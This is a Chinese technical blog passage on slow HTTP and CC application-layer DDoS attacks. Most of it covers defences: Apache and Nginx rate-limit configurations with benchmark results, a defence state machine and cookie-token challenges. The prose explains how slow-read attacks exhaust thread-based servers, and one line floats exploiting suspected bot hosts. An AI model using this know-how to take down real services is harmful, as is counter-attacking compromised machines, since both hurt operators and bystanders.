    Slow read:客户端与服务器建立连接并发送了一个HTTP请求,客户端发送完整的请求给服务器端,然后一直保持这个连接,以很低的速度读取Response,比如很长一段时间客户端不读取任何数据,通过发送Zero Window到服务器,让服务器误以为客户端很忙,直到连接快超时前才读取一个字节,以消耗服务器的连接和内存资源。抓包数据可见,客户端把数据发给服务器后,服务器发送响应时,收到了客户端的ZeroWindow提示(表示自己没有缓冲区用于接收数据),服务器不得不持续的向客户端发出ZeroWindowProbe包,询问客户端是否可以接收数据。

    使用较多的慢速攻击工具有:Slowhttptest和Slowloris。

     

      3)哪些服务器易被慢速攻击

    慢速攻击主要利用的是thread-based架构的服务器的特性,这种服务器会为每个新连接打开一个线程,它会等待接收完整个HTTP头部才会释放连接。比如Apache会有一个超时时间来等待这种不完全连接(默认是300s),但是一旦接收到客户端发来的数据,这个超时时间会被重置。正是因为这样,攻击者可以很容易保持住一个连接,因为攻击者只需要在即将超时之前发送一个字符,便可以延长超时时间。而客户端只需要很少的资源,便可以打开多个连接,进而占用服务器很多的资源。

    经验证,Apache、httpd采用thread-based架构,很容易遭受慢速攻击。而另外一种event-based架构的服务器,比如nginx和lighttpd则不容易遭受慢速攻击。

     

      4)如何防护慢速攻击

    Apache服务器现在使用较多的有三种简单防护方式。

    mod_reqtimeout:Apache2.2.15后,该模块已经被默认包含,用户可配置从一个客户端接收HTTP头部和HTTPbody的超时时间和最小速率。如果一个客户端不能在配置时间内发送完头部或body数据,服务器会返回一个408REQUEST TIME OUT错误。配置文件如下:

    < IfModule mod_reqtimeout.c >
    
    RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500
    
    < /IfModule >

    mod_qos:Apache的一个服务质量控制模块,用户可配置各种不同粒度的HTTP请求阈值,配置文件如下:

    复制代码

    < IfModule mod_qos.c >
    
    /# handle connections from up to 100000 different IPs
    
    QS_ClientEntries 100000
    
    /# allow only 50 connections per IP
    
    QS_SrvMaxConnPerIP 50
    
    /# limit maximum number of active TCP connections limited to 256
    
    MaxClients 256
    
    /# disables keep-alive when 180 (70%) TCP connections are occupied
    
    QS_SrvMaxConnClose 180
    
    /# minimum request/response speed (deny slow clients blocking the server, keeping connections open without requesting anything
    
    QS_SrvMinDataRate 150 1200
    
    < /IfModule >

    复制代码

    mod_security:一个开源的WAF模块,有专门针对慢速攻击防护的规则,配置如下:

    SecRule RESPONSE_STATUS “@streq 408” “phase:5,t:none,nolog,pass, setvar:ip.slow_dos_counter=+1, expirevar:ip.slow_dos_counter=60, id:’1234123456′”

    SecRule IP:SLOW_DOS_COUNTER “@gt 5” “phase:1,t:none,log,drop,

    msg:’Client Connection Dropped due to high number of slow DoS alerts’, id:’1234123457′”

    传统的流量清洗设备针对CC攻击,主要通过阈值的方式来进行防护,某一个客户在一定的周期内,请求访问量过大,超过了阈值,清洗设备通过返回验证码或者JS代码的方式。这种防护方式的依据是,攻击者们使用肉鸡上的DDoS工具模拟大量http request,这种工具一般不会解析服务端返回数据,更不会解析JS之类的代码。因此当清洗设备截获到HTTP请求时,返回一段特殊JavaScript代码,正常用户的浏览器会处理并正常跳转不影响使用,而攻击程序会攻击到空处。

    而对于慢速攻击来说,通过返回验证码或者JS代码的方式依然能达到部分效果。但是根据慢速攻击的特征,可以辅助以下几种防护方式:1、周期内统计报文数量。一个TCP连接,HTTP请求的报文中,报文过多或者报文过少都是有问题的,如果一个周期内报文数量非常少,那么它就可能是慢速攻击;如果一个周期内报文数量非常多,那么它就可能是一个CC攻击。2、限制HTTP请求头的最大许可时间。超过最大许可时间,如果数据还没有传输完成,那么它就有可能是一个慢速攻击。

     

    简单的Nginx防CC方式 

     

    实验

    Nginx配置

    复制代码

    http {
        limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;
        server {
            #限制每ip每秒不超过20个请求,漏桶数burst为5
            #brust的意思就是,如果第1秒、2,3,4秒请求为19个,
            #第5秒的请求为25个是被允许的。
            #但是如果你第1秒就25个请求,第2秒超过20的请求返回503错误。
            #nodelay,如果不设置该选项,严格使用平均速率限制请求数,
            #第1秒25个请求时,5个请求放到第2秒执行,
            #设置nodelay,25个请求将在第1秒执行。
            limit_req   zone=one  burst=1 nodelay;
        }
    }

    复制代码

    上面样本的配置是什么意思呢?

    • $binary_remote_addr 表示:客户端IP地址
    • zone 表示漏桶的名字
    • rate 表示nginx处理请求的速度有多快
    • burst 表示峰值
    • nodelay 表示是否延迟处理请求,还是直接503返回给客户端,如果超出rate设置的情况下。

    详细的可以参考官方说明文档:Module ngx_http_limit_req_module

    模拟请求

    这里我们需要Apache Benchmark这个小工具来生成请求

     

    //1个用户持续100s的时间向服务器发送请求
    ab -t 100 -c 1 -vvv http://example.com/

    Nginx配置样本一

    复制代码

    http {
        limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;
        server {
            limit_req   zone=one  burst=1 nodelay;
        }
    }

    复制代码

    ab测试结果如下所示:

    数据成功的请求数失败的请求数请求时间每秒成功的请求数
    110019438101.1950.98
    210017651100.6550.99
    39725735100.4240.96
    410126791100.0001.01
    59819051100.5140.98
    平均9921733.2100.5570.98

     

    以上失败的请求在Nginx上生成的错误日志如下显示

     

    复制代码

    2015/05/09 12:48:57 [error] 6564#0: *2219 limiting requests, excess: 1.273 by zone "one", client: 10.0.2.2, server: example.com, request: "GET / HTTP/1.0", host: "example.com"
    2015/05/09 12:48:57 [error] 6564#0: *2220 limiting requests, excess: 1.272 by zone "one", client: 10.0.2.2, server: example.com, request: "GET / HTTP/1.0", host: "example.com"
    2015/05/09 12:48:57 [error] 6564#0: *2221 limiting requests, excess: 1.271 by zone "one", client: 10.0.2.2, server: example.com, request: "GET / HTTP/1.0", host: "example.com"
    2015/05/09 12:48:57 [error] 6564#0: *2222 limiting requests, excess: 1.270 by zone "one", client: 10.0.2.2, server: example.com, request: "GET / HTTP/1.0", host: "example.com"
    2015/05/09 12:48:57 [error] 6564#0: *2223 limiting requests, excess: 1.269 by zone "one", client: 10.0.2.2, server: example.com, request: "GET / HTTP/1.0", host: "example.com"
    2015/05/09 12:48:57 [error] 6564#0: *2224 limiting requests, excess: 1.268 by zone "one", client: 10.0.2.2, server: example.com, request: "GET / HTTP/1.0", host: "example.com"

    复制代码

    如上ab测试中如果是失败的请求,nginx的limit_req模块会统一返回503给客户端,浏览器上面显示的是这个样子的。

     

    Nginx配置样本二

    在配置二里面,我把burst(峰值)提高到了10

    复制代码

    http {
        limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;
        server {
            limit_req   zone=one  burst=10 nodelay;
        }
    }

    复制代码

    数据成功的请求数失败的请求数请求时间每秒成功的请求数
    111019042100.1441.09
    211122271101.7141.09
    311118466100.5041.10
    411116468101.2851.09
    511112770100.5961.10
    平均11017803100.788

    1.09

     

    从数据来看,提高了burst值,明显nginx成功的请求数上去了。

    Nginx配置样本三

    在样本二的基础上,我们把nodelay去除掉

    复制代码

    http {
        limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;
        server {
            limit_req   zone=one  burst=10;
        }
    }

    复制代码

    数据成功的请求数失败的请求数请求时间每秒成功的请求数
    1960100.2231.09
    2980100.2380.97
    31000100.7610.99
    4960100.0740.95
    5970100.0210.96
    平均97.40100.2630.97

     

    从这里的数据可以看到将nodelay的参数去掉的话,成功的请求数在100左右而失败的请求数变成0了,为什么呢?

    • 有nodelay参数的时候,nginx正常是及时处理当前的请求的并响应数据给客户端,但是如果超过limit_req_module的限制,那么会统一返回503给客户端。
    • 无nodelay参数的时候,nginx正常是及时处理当前的请求的并响应数据给客户端,但是如果超过limit_req_module的限制,那么会将此此请求缓存「就先这么理解」起来稍后再处理,所以也就不会出现大量的失败请求数了。

    存在的问题

    虽然用limit_req_module可以一定上的防止CC攻击,但是有误杀概率;国内宽带用户的IP地址已经大量内网化,几百人共享一个IP的可能性是很大的。

     

    五、应用层DDoS的防御理论:

     

    问题模型描述:

    每一个页面,都有其资源消耗权重,静态资源,权重较低,动态资源,权重较高。对于用户访问,有如下:

    用户资源使用频率=使用的服务器总资源量/s

    命题一:对于正常访问的用户,资源使用频率必定位于一个合理的范围,当然会存在大量正常用户共享ip的情况,这就需要日常用户访问统计,以得到忠实用户ip白名单。

    命题二:资源使用频率持续异常的,可断定为访问异常的用户。

    防御体系状态机:

    1.在系统各项资源非常宽裕时,向所有ip提供服务,每隔一段时间释放一部分临时黑名单中的ip成员;

    2.在系统资源消耗达到某一阈值时,降低Syn包接受速率,循环:分析最近时间的日志,并将访问异常的ip加入临时黑名单;

    3.若系统资源消耗慢慢回降至正常水平,则恢复Syn包接受速率,转到状态1;若目前策略并未有效地控制住系统资源消耗的增长,情况继续恶劣至一极限阈值,转到状态4;

    4.最终防御方案,使用忠实用户ip白名单、异常访问ip黑名单策略,其他访问可慢慢放入,直到系统资源消耗回降至正常水平,转到状态1。

     

    上述的防御状态机,对于单个攻击IP高并发的DDOS,变化到状态3时,效果就完全体现出来了,但如果防御状态机进行到4状态,则有如下两种可能:

    1.站点遭到了攻击群庞大的、单个IP低并发的DDOS攻击;

    2.站点突然间有了很多访问正常的新用户。

    六、建议后续工作:

     

    保守:站点应尽快进行服务能力升级。

    积极:尽所能,追溯攻击者。

    追溯攻击者:

    CC:proxy-forward-from-ip

    单个IP高并发的DDOS:找到访问异常的、高度可疑的ip列表,exploit,搜集、分析数据,因为一个傀儡主机可被二次攻占的概率很大(但不建议这种方法)

    单个IP低并发的DDOS:以前极少访问被攻击站点,但是在攻击发生时,却频繁访问我们的站点,分析日志得到这一部分ip列表

    追溯攻击者的过程中,snat与web proxy增加了追踪的难度,如果攻击者采用多个中继服务器的方法,追溯将变得极为困难。

     

    防御者:

    1.应对当前系统了如指掌,如系统最高负载、最高数据处理能力,以及系统防御体系的强项与弱点

    2.历史日志的保存、分析

    3.对当前系统进行严格安全审计

    4.上报公安相关部分,努力追溯攻击者

    5.网站,能静态,就一定不要动态,可采取定时从主数据库生成静态页面的方式,对需要访问主数据库的服务使用验证机制。

    6.防御者应能从全局的角度,迅速及时地发现系统正在处于什么程度的攻击、何种攻击,在平时,应该建立起攻击应急策略,规范化操作,免得在急中犯下低级错误

    对历史日志的分析这时将会非常重要,数据可视化与统计学的方法将会很有益处:

    1.分析每个页面的平均访问频率

    2.对访问频率异常的页面进行详细分析 分析得到ip-页面访问频率

    3.得到对访问异常页面的访问异常ip列表

    4.对日志分析得到忠实用户IP白名单

    5.一般一个页面会关联多个资源,一次对于这样的页面访问往往会同时增加多个资源的访问数,而攻击程序一般不会加载这些它不感兴趣的资源,所以,这也是一个非常好的分析突破点

    防御思路

    因为CC攻击通过工具软件发起,而普通用户通过浏览器访问,这其中就会有某些区别。想办法对这二者作出判断,选择性的屏蔽来自机器的流量即可。

    初级

    普通浏览器发起请求时,除了要访问的地址以外,Http头中还会带有Referer,UserAgent等多项信息。遇到攻击时可以通过日志查看访问信息,看攻击的流量是否有明显特征,比如固定的Referer或UserAgent,如果能找到特征,就可以直接屏蔽掉了。

    中级

    如果攻击者伪造了Referer和UserAgent等信息,那就需要从其他地方入手。攻击软件一般来说功能都比较简单,只有固定的发包功能,而浏览器会完整的支持Http协议,我们可以利用这一点来进行防御。

    首先为每个访问者定义一个字符串,保存在Cookies中作为Token,必须要带有正确的Token才可以访问后端服务。当用户第一次访问时,会检测到用户的Cookies里面并没有这个Token,则返回一个302重定向,目标地址为当前页面,同时在返回的Http头中加入set cookies字段,对Cookies进行设置,使用户带有这个Token。

    客户端如果是一个正常的浏览器,那么就会支持http头中的set cookie和302重定向指令,将带上正确的Token再次访问页面,这时候后台检测到正确的Token,就会放行,这之后用户的Http请求都会带有这个Token,所以并不会受到阻拦。

    客户端如果是CC软件,那么一般不会支持这些指令,那么就会一直被拦在最外层,并不会对服务器内部造成压力。

    高级

    高级一点的,还可以返回一个网页,在页面中嵌入JavaScript来设置Cookies并跳转,这样被伪造请求的可能性更小

    Token生成算法

    Token需要满足以下几点要求

    1,每个IP地址的Token不同

    2, 无法伪造

    3, 一致性,即对相同的客户端,每次生成的Token相同

    Token随IP地址变化是为了防止通过一台机器获取Token之后,再通过代理服务区进行攻击。一致性则是为了避免在服务器端需要存储已经生成的Token。

    推荐使用以下算法生成Token,其中Key为服务器独有的保密字符串,这个算法生成的Token可以满足以上这些要求。

    Token = Hash( UserAgent + client_ip + key )

    本文主要讲述了DDoS攻击之一的CC攻击工具实现,以及如何防御来自应用层的DDoS攻击的理论总结。接下来的文章,笔者将会实现一个工作于内核态的、具有黑名单功能的防火墙模块,以对应于上述防御状态机中的防火墙单元,它实现了自主地动态内存管理,使用hash表管理ip列表,并可以自定义hash表的modular。

     

    七、 简易CC攻击防御策略 

    确定Web服务器正在或者曾经遭受CC攻击,那如何进行有效的防范呢?

    (1).取消域名绑定 
      一般cc攻击都是针对网站的域名进行攻击,比如我们的网站域名是“www.abc.com”,那么攻击者就在攻击工具中设定攻击对象为该域名然后实施攻击。 对于这样的攻击我们的措施是取消这个域名的绑定,让CC攻击失去目标。

    (2).域名欺骗解析 
      如果发现针对域名的CC攻击,我们可以把被攻击的域名解析到127.0.0.1这个地址上。我们知道127.0.0.1是本地回环IP是用来进行网络测试的,如果把被攻击的域名解析到这个IP上,就可以实现攻击者自己攻击自己的目的,这样他再多的肉鸡或者代理也会宕机,让其自作自受。

    (3).更改Web端口 
      一般情况下Web服务器通过80端口对外提供服务,因此攻击者实施攻击就以默认的80端口进行攻击,所以,我们可以修改Web端口达到防CC攻击的目的。运行IIS管理器,定位到相应站点,打开站点“属性”面板,在“网站标识”下有个TCP端口默认为80,我们修改为其他的端口就可以了。

    (4).屏蔽IP 
      我们通过命令或在查看日志发现了CC攻击的源IP,就可以在防火墙中设置屏蔽该IP对Web站点的访问,从而达到防范攻击的目的。

    展开全文
  • 判断CC攻击 netstat命令详解,快速找出有问题的ip。
  • 基于熵的CC攻击检测防御方法,张烜,,分析了一种应用层DDoS攻击——CC攻击的原理和过程,提出了一种基于信息熵的CC攻击检测防御方法。在获取信息样本时,采用了滑动窗口�
  • DDoS 是英文 Distributed Denial of Service 的缩写,意即“分布式拒绝服务”

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 27,087
精华内容 10,834
关键字:

cc攻击